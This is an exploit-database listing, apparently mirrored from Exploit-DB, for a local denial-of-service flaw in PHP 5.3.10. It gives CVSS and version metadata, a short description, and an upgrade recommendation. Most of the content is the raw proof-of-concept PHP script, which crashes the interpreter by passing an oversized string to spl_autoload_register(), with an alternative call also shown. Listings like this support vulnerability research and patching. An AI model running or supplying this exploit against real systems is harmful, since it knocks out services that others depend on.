header-logo
Suggest Exploit
vendor:
PHP
by:
Pr0T3cT10n
7,5
CVSS
HIGH
Local Denial of Service
400
CWE
Product Name: PHP
Affected Version From: 5.3.10
Affected Version To: 5.3.10
Patch Exists: Yes
Related CWE: N/A
CPE: a:php:php:5.3.10
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 64bit
2012

PHP 5.3.10 spl_autoload_register() Local Denial of Service

This exploit causes a denial of service in PHP 5.3.10 by using the spl_autoload_register() function with a large string as an argument. This causes the application to crash.

Mitigation:

Upgrade to a version of PHP that is not vulnerable to this exploit.
Source

Exploit-DB raw data:

<?php
#####################################################################
## PHP 5.3.10 spl_autoload_register() Local Denial of Service
## Tested on Windows 7 64bit, English, Apache, PHP 5.3.10
## Date: 02/06/2012
## Local Denial of Service
## Bug discovered by Pr0T3cT10n, <pr0t3ct10n@gmail.com>
## ISRAEL
## http://www.0x31337.net
#####################################################################

$buffer = str_repeat("A",9999);
spl_autoload_register($buffer);

## Or..
# spl_autoload_register($buffer,1,1); #Should work too.
?>

Navigation

Suggest Exploit

Services By CQR